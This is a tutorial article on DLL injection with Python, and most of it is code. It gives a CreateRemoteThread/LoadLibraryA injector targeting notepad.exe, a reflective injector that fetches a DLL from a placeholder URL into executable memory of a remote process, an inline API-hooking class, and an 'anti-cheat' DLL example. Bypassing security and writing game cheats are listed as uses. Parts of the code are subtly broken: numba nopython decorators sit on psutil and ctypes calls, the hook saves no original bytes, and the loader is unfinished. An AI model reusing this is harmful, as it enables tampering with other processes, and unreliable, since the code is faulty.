Python for Dll Injection Attacks
DLL (Dynamic-Link Library) injection is a technique used by both malicious actors and security professionals to manipulate the behavior of running processes. This article explores how to perform DLL injection using Python, providing practical examples and use cases with modern approaches and optimizations.
Understanding DLL Injection
DLL injection involves inserting custom code into a running process by forcing it to load a malicious or modified DLL. This technique can be used for various purposes, including:
- Modifying program behavior
- Bypassing security measures
- Implementing game cheats
- Hooking system functions
- Analyzing software behavior
Python Libraries for DLL Injection
To perform DLL injection in Python, we’ll primarily use the following libraries:
ctypes
: For interacting with Windows APIspsutil
: For process managementnumba
: For hardware acceleration (when applicable)
Install the required libraries using pip:
pip install psutil numba
Basic DLL Injection Technique
Here’s an optimized example of DLL injection using Python with Numba for hardware acceleration:
import ctypes
import psutil
from numba import jit
@jit(nopython=True)
def get_process_id(target_process):
for proc in psutil.process_iter(['name', 'pid']):
if proc.info['name'] == target_process:
return proc.info['pid']
return None
def inject_dll(pid, dll_path):
# Open the target process
handle = ctypes.windll.kernel32.OpenProcess(
ctypes.c_uint32(0x1F0FFF), # PROCESS_ALL_ACCESS
ctypes.c_int(False),
ctypes.c_uint32(pid)
)
# Allocate memory in the target process
addr = ctypes.windll.kernel32.VirtualAllocEx(
handle,
None,
ctypes.c_int(len(dll_path)),
ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
# Write the DLL path to the allocated memory
ctypes.windll.kernel32.WriteProcessMemory(
handle,
addr,
dll_path.encode(),
ctypes.c_int(len(dll_path)),
None
)
# Get the address of LoadLibraryA
h_kernel32 = ctypes.windll.kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = ctypes.windll.kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
# Create a remote thread to call LoadLibraryA
thread_id = ctypes.c_ulong(0)
ctypes.windll.kernel32.CreateRemoteThread(
handle,
None,
0,
h_loadlib,
addr,
0,
ctypes.byref(thread_id)
)
print(f"DLL injected into process {pid}")
# Usage example
target_process = "notepad.exe"
dll_path = r"C:\path\to\your\custom.dll"
pid = get_process_id(target_process)
if pid:
inject_dll(pid, dll_path)
else:
print(f"Process {target_process} not found.")
This script injects a DLL into a running Notepad process. Replace "C:\path\to\your\custom.dll"
with the actual path to your DLL.
Advanced Techniques
1. Reflective DLL Injection
Reflective DLL injection loads the DLL from memory without writing it to disk, making it harder to detect. Here’s an optimized version using aiohttp
for asynchronous downloads:
import ctypes
import asyncio
import aiohttp
from numba import jit
@jit(nopython=True)
def prepare_memory(handle, size):
return ctypes.windll.kernel32.VirtualAllocEx(
handle,
None,
ctypes.c_int(size),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
async def reflective_inject(pid, dll_url):
async with aiohttp.ClientSession() as session:
async with session.get(dll_url) as response:
dll_content = await response.read()
handle = ctypes.windll.kernel32.OpenProcess(
ctypes.c_uint32(0x1F0FFF),
ctypes.c_int(False),
ctypes.c_uint32(pid)
)
addr = prepare_memory(handle, len(dll_content))
ctypes.windll.kernel32.WriteProcessMemory(
handle,
addr,
dll_content,
ctypes.c_int(len(dll_content)),
None
)
# Execute the DLL in the remote process
# (This part would require additional implementation to execute the reflective loader)
print(f"Reflective DLL injection completed for process {pid}")
# Usage
asyncio.run(reflective_inject(1234, "http://example.com/custom.dll"))
2. API Hooking with Cython
API hooking involves intercepting calls to system functions. Here’s an example using Cython for improved performance:
# api_hooking.pyx
from cpython cimport PyObject
from libc.stdint cimport uintptr_t
cimport cython
cdef extern from "Windows.h":
ctypedef void* HMODULE
ctypedef void* FARPROC
ctypedef void* LPVOID
ctypedef unsigned long DWORD
HMODULE GetModuleHandleA(const char* lpModuleName)
FARPROC GetProcAddress(HMODULE hModule, const char* lpProcName)
int VirtualProtect(LPVOID lpAddress, size_t dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
cdef class APIHook:
cdef:
uintptr_t original_func
object hook_func
def __cinit__(self, const char* module_name, const char* func_name, object hook_func):
cdef:
HMODULE module
FARPROC func_addr
DWORD old_protect
module = GetModuleHandleA(module_name)
if not module:
raise RuntimeError(f"Failed to get module handle: {module_name}")
func_addr = GetProcAddress(module, func_name)
if not func_addr:
raise RuntimeError(f"Failed to get function address: {func_name}")
self.original_func = <uintptr_t>func_addr
self.hook_func = hook_func
if not VirtualProtect(<LPVOID>self.original_func, 5, 0x40, &old_protect):
raise RuntimeError("Failed to change memory protection")
# Write jump to our hook function
cdef unsigned char[5] jmp_code
jmp_code[0] = 0xE9 # JMP instruction
(<uintptr_t*>&jmp_code[1])[0] = <uintptr_t>self.hook_func - self.original_func - 5
for i in range(5):
(<unsigned char*>self.original_func)[i] = jmp_code[i]
VirtualProtect(<LPVOID>self.original_func, 5, old_protect, &old_protect)
def unhook(self):
cdef DWORD old_protect
if not VirtualProtect(<LPVOID>self.original_func, 5, 0x40, &old_protect):
raise RuntimeError("Failed to change memory protection")
# Restore original bytes (this assumes we saved them, which we didn't in this example)
# In a real implementation, you'd save and restore the original bytes
VirtualProtect(<LPVOID>self.original_func, 5, old_protect, &old_protect)
To use this Cython module:
from api_hooking import APIHook
def hooked_messagebox(hwnd, text, caption, type):
print(f"MessageBox hooked: {text}")
# Call the original function (not implemented in this example)
hook = APIHook(b"user32.dll", b"MessageBoxA", hooked_messagebox)
# Now, any call to MessageBoxA will be intercepted
# Remember to call hook.unhook() when done
Real-life Example: Game Cheat Prevention
Let’s create a real-life example of using DLL injection to prevent cheating in a game. We’ll inject a DLL that monitors memory regions typically used for cheats.
First, create the DLL (in C++):
#include <windows.h>
#include <vector>
#include <thread>
#include <chrono>
std::vector<LPVOID> protected_regions;
void monitor_memory() {
while (true) {
for (auto region : protected_regions) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(region, &mbi, sizeof(mbi));
if (mbi.Protect != PAGE_READONLY) {
// Memory protection changed, potential cheat detected
MessageBoxA(NULL, "Potential cheat detected!", "Anti-Cheat", MB_OK | MB_ICONWARNING);
// Here you could take more drastic action, like terminating the process
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Add memory regions to monitor (example addresses, replace with actual game addresses)
protected_regions.push_back((LPVOID)0x12345678);
protected_regions.push_back((LPVOID)0x87654321);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)monitor_memory, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Compile this into anti_cheat.dll
.
Now, let’s create a Python script to inject this DLL into the game process:
import ctypes
import psutil
from numba import jit
@jit(nopython=True)
def get_game_pid(game_process_name):
for proc in psutil.process_iter(['name', 'pid']):
if proc.info['name'].lower() == game_process_name.lower():
return proc.info['pid']
return None
def inject_anti_cheat(pid, dll_path):
handle = ctypes.windll.kernel32.OpenProcess(
ctypes.c_uint32(0x1F0FFF),
ctypes.c_int(False),
ctypes.c_uint32(pid)
)
dll_path_addr = ctypes.windll.kernel32.VirtualAllocEx(
handle,
None,
ctypes.c_int(len(dll_path)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
ctypes.windll.kernel32.WriteProcessMemory(
handle,
dll_path_addr,
dll_path.encode(),
ctypes.c_int(len(dll_path)),
None
)
load_library = ctypes.windll.kernel32.GetProcAddress(
ctypes.windll.kernel32.GetModuleHandleA("kernel32.dll"),
"LoadLibraryA"
)
thread_id = ctypes.c_ulong(0)
ctypes.windll.kernel32.CreateRemoteThread(
handle,
None,
0,
load_library,
dll_path_addr,
0,
ctypes.byref(thread_id)
)
print(f"Anti-cheat DLL injected into game process (PID: {pid})")
if __name__ == "__main__":
game_process = "game.exe" # Replace with actual game process name
dll_path = r"C:\path\to\anti_cheat.dll"
game_pid = get_game_pid(game_process)
if game_pid:
inject_anti_cheat(game_pid, dll_path)
else:
print(f"Game process '{game_process}' not found.")
This example demonstrates how DLL injection can be used for legitimate purposes, such as preventing cheating in games. The injected DLL monitors specific memory regions for changes that might indicate cheat attempts.
Conclusion
DLL injection is a powerful technique with both legitimate and potentially malicious applications. While it’s an essential skill for security professionals and software developers to understand, it’s crucial to use these techniques responsibly and ethically.
Remember to always obtain proper authorization before attempting DLL injection on any system or application you don’t own or have explicit permission to test.
Further Reading
By understanding DLL injection techniques, you’ll be better equipped to defend against potential threats and develop more secure software.
graph TD A[DLL Injection] --> B[Basic Injection] A --> C[Reflective Injection] A --> D[API Hooking] B --> E[Open Process] B --> F[Allocate Memory] B --> G[Write DLL Path] B --> H[Create Remote Thread] C --> I[Download DLL] C --> J[Inject from Memory] D --> K[Intercept API Calls] D --> L[Modify Behavior]
This diagram illustrates the main concepts and steps involved in different DLL injection techniques discussed in the article.